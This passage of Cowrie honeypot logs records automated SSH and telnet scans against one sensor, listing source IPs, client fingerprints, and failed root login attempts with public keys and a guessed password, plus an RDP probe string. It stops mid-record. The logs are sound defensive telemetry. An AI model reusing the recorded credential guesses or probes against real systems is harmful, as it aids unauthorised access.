{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:22.978406Z","src_ip":"43.153.31.20","session":"5e4163b1c859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47972,"dst_ip":"10.17.0.5","dst_port":23,"session":"0abb599badbe","protocol":"telnet","message":"New connection: 152.42.224.71:47972 (10.17.0.5:23) [session: 0abb599badbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:28.377008Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63893,"dst_ip":"10.17.0.5","dst_port":22,"session":"86ff3caa82bd","protocol":"ssh","message":"New connection: 152.42.212.128:63893 (10.17.0.5:22) [session: 86ff3caa82bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:28.834237Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:28.838773Z","src_ip":"152.42.212.128","session":"86ff3caa82bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:28.844730Z","src_ip":"152.42.212.128","session":"86ff3caa82bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":43190,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ae35d11482","protocol":"ssh","message":"New connection: 188.44.20.33:43190 (10.17.0.5:22) [session: 13ae35d11482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.061272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.066852Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.201755Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":60922,"dst_ip":"10.17.0.5","dst_port":22,"session":"7814de605f8f","protocol":"ssh","message":"New connection: 181.47.9.103:60922 (10.17.0.5:22) [session: 7814de605f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.636188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.640467Z","src_ip":"181.47.9.103","session":"7814de605f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.782942Z","src_ip":"181.47.9.103","session":"7814de605f8f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:01:e5:3f:15:56:60:3d:4d:18:18:18:b9:ba:d8:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvOAdYnfN2h1AhFHuKB9wSDMWbHAxE86KGKNDl4YFcaz0DA1KYpkSFGphkEFj6Avmr3Jdf4Uc0oaxJH26EjzbmDzbV635bDWFuKoTxJmSkDPq+mqqLS+EwfhLBEemu4GHY8ePIJPaI917kHUAWpb5KElK4s2jgdmpuQg09LiIvAtAo/+E8Oaz/i2xqFQBeHFg1uzMI31FU1nAIMO0K2bjEZgM+Iy+5s7nfxAFgJVzQXtyQXGk7omIJKcg/qiqKaBGUw218rvofd7e7QX3hhe3f5aAiJ1nTJ2eRypJgTom58GBsvixYHVCSbljnPA1znaJ93BEYDqz2v8KJiquFhT7b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:01:e5:3f:15:56:60:3d:4d:18:18:18:b9:ba:d8:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.886895Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:01:e5:3f:15:56:60:3d:4d:18:18:18:b9:ba:d8:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvOAdYnfN2h1AhFHuKB9wSDMWbHAxE86KGKNDl4YFcaz0DA1KYpkSFGphkEFj6Avmr3Jdf4Uc0oaxJH26EjzbmDzbV635bDWFuKoTxJmSkDPq+mqqLS+EwfhLBEemu4GHY8ePIJPaI917kHUAWpb5KElK4s2jgdmpuQg09LiIvAtAo/+E8Oaz/i2xqFQBeHFg1uzMI31FU1nAIMO0K2bjEZgM+Iy+5s7nfxAFgJVzQXtyQXGk7omIJKcg/qiqKaBGUw218rvofd7e7QX3hhe3f5aAiJ1nTJ2eRypJgTom58GBsvixYHVCSbljnPA1znaJ93BEYDqz2v8KJiquFhT7b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:33.890103Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:2d:44:0e:20:3a:4a:9a:77:ea:46:f1:03:94:8c:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0FUDruz0Ynxpe5lWHpRkt2EhKLPkAELCTAsiKOb90+XA6xhP98U/BlZKvcEPej/fpwq7z6ok+3o80QIQIHhbDajJxHfKuJ8PlLXzUn/uNwJfdYuUlV9euZIN1RNs3h2dhBSYB7OBoEa+XriFf/UGJ9Y4GcIVfJMwnkOG9AqITlVSkISVBQZSLVVRGOQUc/tvCnsYiSbsMUQ4LxvaKUOgQvL/cShpZXcLEutWhAtdDiCkxdWcSriwT/P2C8CYsboFHrXuNYEI2z1j1UYC1T2ZfRUPD3yg1Dm0NInU/sHrJ5U+7a7swuwkCr86k6/M7z9lwV4XguQHpGAADievcZpZ7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:2d:44:0e:20:3a:4a:9a:77:ea:46:f1:03:94:8c:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.026823Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:2d:44:0e:20:3a:4a:9a:77:ea:46:f1:03:94:8c:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0FUDruz0Ynxpe5lWHpRkt2EhKLPkAELCTAsiKOb90+XA6xhP98U/BlZKvcEPej/fpwq7z6ok+3o80QIQIHhbDajJxHfKuJ8PlLXzUn/uNwJfdYuUlV9euZIN1RNs3h2dhBSYB7OBoEa+XriFf/UGJ9Y4GcIVfJMwnkOG9AqITlVSkISVBQZSLVVRGOQUc/tvCnsYiSbsMUQ4LxvaKUOgQvL/cShpZXcLEutWhAtdDiCkxdWcSriwT/P2C8CYsboFHrXuNYEI2z1j1UYC1T2ZfRUPD3yg1Dm0NInU/sHrJ5U+7a7swuwkCr86k6/M7z9lwV4XguQHpGAADievcZpZ7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.030950Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:b3:c5:dc:73:fa:57:d7:14:0a:03:87:68:be:71:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFvpW5Pj1N0lYnoKm/JHbYc6Cv3tmRtUGQ9P9T/hWoUq1V5n+N3Rbcc4idH3fc+oOHNx1ADffXL3Z2sP/ZxzqhsoOeAGu4uOFDfstPWknSaACjwk2BGmf2xhyqlr2MfSGxqH3C8xlr0c+N8P+KRczgFxOxDnWmSy5eUrGubP5BG3pFIdoEP4e2VCVCmI82w9MkNkL6aDnw5w56mruxX5v+KoNbgmzVDFIzmfp3+u9PJC8s+YRcWEvAoM10fB6zVPq9b/BOcI6jqXXLLDnDgJDZ6P64BgGAynwbQpVJTqtP4Bpg2kv6VUdxLvmrm/uZBM6nyXq02+jqaMN7UfWfMmzH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:b3:c5:dc:73:fa:57:d7:14:0a:03:87:68:be:71:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.163069Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:b3:c5:dc:73:fa:57:d7:14:0a:03:87:68:be:71:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFvpW5Pj1N0lYnoKm/JHbYc6Cv3tmRtUGQ9P9T/hWoUq1V5n+N3Rbcc4idH3fc+oOHNx1ADffXL3Z2sP/ZxzqhsoOeAGu4uOFDfstPWknSaACjwk2BGmf2xhyqlr2MfSGxqH3C8xlr0c+N8P+KRczgFxOxDnWmSy5eUrGubP5BG3pFIdoEP4e2VCVCmI82w9MkNkL6aDnw5w56mruxX5v+KoNbgmzVDFIzmfp3+u9PJC8s+YRcWEvAoM10fB6zVPq9b/BOcI6jqXXLLDnDgJDZ6P64BgGAynwbQpVJTqtP4Bpg2kv6VUdxLvmrm/uZBM6nyXq02+jqaMN7UfWfMmzH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.167501Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:3b:ba:7d:59:41:bd:c3:5c:4d:27:3e:b2:24:eb:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhIEGFJ/qNTOQcE0CuipJHS/nyCYehjmzZMSKccKBxSK1k+PnRrXlL3t9O5gddgp9S8M3h5btIHo5TNnGo0I3TVc4mI5f3beZ9AoTb4RCH/Od+6MbVny915tbwnFAUE1HxuflKCeGwJbgfBA1IKg+4L6hHwoaNPEjxdiRrFW6wbdHVaSakFNWUMUD0Kyw0E08faCkwUlLNGtwJkiZVrkQgwC25GPx4gz07VwArS2dFE91rj9mUvQPxGHc/OdUmPWneHmMSozsAh7/kXU2JR1OyeXADueth2Kj9qii5SsjVLLqgehVmiLdd2jR4o1sth8ad3T9qxBSHT7c2U05ltpq/4yRIER+Y++jZt2riGWaNk2Gqfik9VQqVyJmkqCPzEie8Wsft/wAFOCk4x2F0PsE+4/A+b5j9VgPlupvSAC10AoBZW1XxQjNWSfHl+qwpFeCXw/FjyEC+l0lQOCVn6i4Tv6BTick9qlu0Br4s7ZrcLEBBgKYJ/8swv66P/d6cpITjCGtTptq3OGaOB559MhdI4tKgnGNTfl3bdxtwt7/NUQMT0Hf5Gi33wl0A7guyp2/Ne7wgj7mpNZS00K4s4lEAWdW5aJ56tKNDWq5buabgAakGLEHgWjcR6jYR+B1ZtB8lcqvKsWp+GrghF/Ta1Z7lYhNGhm908NQzcxmVoHZKQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:3b:ba:7d:59:41:bd:c3:5c:4d:27:3e:b2:24:eb:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.302451Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:3b:ba:7d:59:41:bd:c3:5c:4d:27:3e:b2:24:eb:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhIEGFJ/qNTOQcE0CuipJHS/nyCYehjmzZMSKccKBxSK1k+PnRrXlL3t9O5gddgp9S8M3h5btIHo5TNnGo0I3TVc4mI5f3beZ9AoTb4RCH/Od+6MbVny915tbwnFAUE1HxuflKCeGwJbgfBA1IKg+4L6hHwoaNPEjxdiRrFW6wbdHVaSakFNWUMUD0Kyw0E08faCkwUlLNGtwJkiZVrkQgwC25GPx4gz07VwArS2dFE91rj9mUvQPxGHc/OdUmPWneHmMSozsAh7/kXU2JR1OyeXADueth2Kj9qii5SsjVLLqgehVmiLdd2jR4o1sth8ad3T9qxBSHT7c2U05ltpq/4yRIER+Y++jZt2riGWaNk2Gqfik9VQqVyJmkqCPzEie8Wsft/wAFOCk4x2F0PsE+4/A+b5j9VgPlupvSAC10AoBZW1XxQjNWSfHl+qwpFeCXw/FjyEC+l0lQOCVn6i4Tv6BTick9qlu0Br4s7ZrcLEBBgKYJ/8swv66P/d6cpITjCGtTptq3OGaOB559MhdI4tKgnGNTfl3bdxtwt7/NUQMT0Hf5Gi33wl0A7guyp2/Ne7wgj7mpNZS00K4s4lEAWdW5aJ56tKNDWq5buabgAakGLEHgWjcR6jYR+B1ZtB8lcqvKsWp+GrghF/Ta1Z7lYhNGhm908NQzcxmVoHZKQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.306329Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234QWER","message":"login attempt [root/!@#$1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.387563Z","src_ip":"181.47.9.103","session":"7814de605f8f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:73:ef:5a:5a:4f:88:7b:b5:30:df:6d:2e:75:36:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoIslQB6KKaQj7MyY4bdxfQjlSx6iF5t6PoLuxg74NgqE/s/11lz8+f29vlfc4dy/XKKoeeh1zz4qf/+3IV/peQA2DpmZ3ymn6vzv/DsFsT6yY68Ac0VzSJzIB/Qi9Zh7TqrOTTdqQ80zOQ+IZYwFPFLOTsQ3h8dEvd+0G3fwaiLe/EL03RwPucx102vY9jRAoaRAttlBHABs30pjY49rT0K0+H0JHlJF8EB2/NIX9RRou9b1wZXyy/ofO1oHj+BnD3ft9qZjAzLuUrLGAH/fVUyHzOjx4mUeKGpjSHDstSF5c1ydK/52jwFAB2FSbveHZqbUxp28IJJz3Pl1ivnlJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:73:ef:5a:5a:4f:88:7b:b5:30:df:6d:2e:75:36:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.438913Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:73:ef:5a:5a:4f:88:7b:b5:30:df:6d:2e:75:36:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoIslQB6KKaQj7MyY4bdxfQjlSx6iF5t6PoLuxg74NgqE/s/11lz8+f29vlfc4dy/XKKoeeh1zz4qf/+3IV/peQA2DpmZ3ymn6vzv/DsFsT6yY68Ac0VzSJzIB/Qi9Zh7TqrOTTdqQ80zOQ+IZYwFPFLOTsQ3h8dEvd+0G3fwaiLe/EL03RwPucx102vY9jRAoaRAttlBHABs30pjY49rT0K0+H0JHlJF8EB2/NIX9RRou9b1wZXyy/ofO1oHj+BnD3ft9qZjAzLuUrLGAH/fVUyHzOjx4mUeKGpjSHDstSF5c1ydK/52jwFAB2FSbveHZqbUxp28IJJz3Pl1ivnlJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.442878Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:34.584876Z","src_ip":"188.44.20.33","session":"13ae35d11482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:35.534165Z","src_ip":"181.47.9.103","session":"7814de605f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36084,"dst_ip":"10.17.0.5","dst_port":22,"session":"477412f32f87","protocol":"ssh","message":"New connection: 103.82.132.16:36084 (10.17.0.5:22) [session: 477412f32f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.051094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.055283Z","src_ip":"103.82.132.16","session":"477412f32f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.314841Z","src_ip":"103.82.132.16","session":"477412f32f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":49320,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef4b7a693855","protocol":"ssh","message":"New connection: 43.133.34.13:49320 (159.203.135.109:22) [session: ef4b7a693855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.525841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.530591Z","src_ip":"43.133.34.13","session":"ef4b7a693855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":52434,"dst_ip":"10.17.0.5","dst_port":22,"session":"90abdb3f8302","protocol":"ssh","message":"New connection: 45.78.230.231:52434 (10.17.0.5:22) [session: 90abdb3f8302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.759673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.764371Z","src_ip":"45.78.230.231","session":"90abdb3f8302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:25:36.772869Z","src_ip":"43.133.34.13","session":"ef4b7a693855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup